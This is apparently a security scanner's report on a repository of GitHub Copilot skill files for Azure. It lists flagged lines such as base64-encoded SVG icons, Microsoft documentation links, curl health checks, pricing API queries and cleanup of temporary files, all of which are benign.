    "b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm
  • Possible obfuscationline 1362
    "b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx
  • Possible obfuscationline 1367
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4
  • Possible obfuscationline 1372
    "b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u
  • Possible obfuscationline 1377
    "b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4
  • Possible obfuscationline 1382
    "b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz
  • Possible obfuscationline 1387
    "b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh
  • Possible obfuscationline 1392
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i
  • Possible obfuscationline 1397
    "b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl
  • Possible obfuscationline 1402
    "b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi

harness/github-copilot/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/github-copilot/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/github-copilot/skills/azure-cloud-migrate/SKILL.md

  • Network accessline 28
    6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r
  • Network accessline 30
    8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-

harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md

  • Network accessline 180
    - [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/)
  • Network accessline 181
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 182
    - [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices)
  • Network accessline 183
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)

harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md

  • Network accessline 165
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 166
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 167
    - [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started)
  • Network accessline 168
    - [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)

harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/code-migration.md

  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]

harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/global-rules.md

  • Network accessline 25
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie
  • Network accessline 26
    - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the 
  • Network accessline 27
    - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language

harness/github-copilot/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md

  • Network accessline 32
    | Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se
  • Network accessline 33
    |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi
  • Network accessline 34
    | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl
  • Access to secretsline 87
    [Credential-related source omitted]
  • Network accessline 158
    - [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 159
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
  • Network accessline 160
    - [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions)
  • Network accessline 161
    - [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)

harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md

  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 193
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health"
  • Network accessline 194
    curl -I "https://$FQDN/health"
  • Network accessline 201
    $app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
  • Network accessline 202
    Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"

harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md

  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Possible obfuscationline 111
    $decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue))
  • Network accessline 127
    > ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d
  • Network accessline 157
    # Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN"
  • Network accessline 158
    FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health
  • Network accessline 159
    echo "App URL: https://$FQDN"
  • Network accessline 160
    curl https://$FQDN/health
  • Network accessline 167
    $FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN"
  • Network accessline 168
    Write-Host "App URL: https://$FQDN"
  • Network accessline 169
    Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head
  • Network accessline 185
    | SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre
  • Network accessline 187
    | Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |

harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md

  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Dangerous shell operationline 113
    trap 'rm -f "$secret_file"' EXIT
  • Dangerous shell operationline 118
    rm -f "$secret_file"
  • Network accessline 197
    set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 198
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" -
  • Network accessline 199
    curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 204
    $ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
  • Network accessline 205
    $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100
  • Network accessline 206
    Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head

harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md

  • Network accessline 67
    - [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview)
  • Network accessline 68
    - [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services)
  • Network accessline 69
    - [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app)
  • Network accessline 70
    - [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)

harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md

  • Network accessline 33
    ### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c
  • Network accessline 35
    - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide)
  • Network accessline 37
    ### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
  • Network accessline 39
    - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)

harness/github-copilot/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Dangerous shell operationline 102
    trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT
  • Network accessline 236
    FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health"
  • Network accessline 237
    echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50
  • Network accessline 238
    curl "https://${FQDN}/actuator/health"
  • Network accessline 244
    $FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}"
  • Network accessline 245
    Write-Host "Application URL: https://${FQDN}"
  • Network accessline 246
    Invoke-WebRequest "https://${FQDN}/actuator/health"
  • Network accessline 256
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 257
    --environment spring-env --resource-group spring-rg --name config-server \   --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 258
    --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 259
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 265
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 266
    --environment spring-env --resource-group spring-rg --name config-server `   --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 267
    --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 268
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/code-migration.md

  • Network accessline 16
    - Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues
  • Network accessline 18
    - **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/global-rules.md

  • Network accessline 24
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr
  • Network accessline 25
    - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N
  • Network accessline 26
    - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Network accessline 95
    - [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda)
  • Network accessline 96
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 97
    - [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 98
    - [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings)
  • Network accessline 99
    - [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra)
  • Network accessline 100
    - [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra)
  • Network accessline 172
    properties: {         // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi
  • Network accessline 173
    // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default
  • Network accessline 174
    endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md

  • Network accessline 225
    > Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md

  • Network accessline 214
    > Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md

  • Network accessline 325
    > Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md

  • Network accessline 221
    > Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md

  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 199
    > Full reference: [Azure Functions Python developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-python)

harness/github-copilot/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md

  • Network accessline 119
    > Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)

harness/github-copilot/skills/azure-compliance/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-compliance/references/azqr-recommendations.md

  • Network accessline 171
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 172
    - [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources)
  • Network accessline 173
    - [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/)
  • Network accessline 174
    - [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)

harness/github-copilot/skills/azure-compliance/references/azqr-remediation-patterns.md

  • Network accessline 375
    - [Azure CLI Reference](https://learn.microsoft.com/cli/azure/)
  • Network accessline 376
    - [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/)
  • Network accessline 377
    - [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)

harness/github-copilot/skills/azure-compliance/references/azure-quick-review.md

  • Network accessline 154
    - [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 155
    - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 156
    - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 157
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)

harness/github-copilot/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md

  • Network accessline 12
    import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
  • Network accessline 14
    const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());

harness/github-copilot/skills/azure-compute/references/retail-prices-api.md

  • Network accessline 3
    The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed.
  • Network accessline 8
    https://prices.azure.com/api/retail/prices
  • Network accessline 13
    https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 23
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'
  • Network accessline 27
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 31
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 32
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 39
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'
  • Network accessline 43
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 47
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 48
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 55
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'
  • Network accessline 59
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'"
  • Network accessline 63
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 64
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 72
    GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'
  • Network accessline 76
    curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'"
  • Network accessline 80
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 81
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 119
    { "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }

harness/github-copilot/skills/azure-compute/references/vm-families.md

  • Network accessline 5
    > **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)

harness/github-copilot/skills/azure-compute/references/vm-quotas.md

  • Network accessline 91
    - Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu
  • Network accessline 93
    - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)

harness/github-copilot/skills/azure-compute/references/vmss-guide.md

  • Network accessline 5
    > **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi
  • Network accessline 6
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview
  • Network accessline 7
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 8
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison
  • Network accessline 62
    - Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a
  • Network accessline 64
    - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 92
    - [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes)
  • Network accessline 93
    - [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 94
    - [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking)
  • Network accessline 95
    - [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)

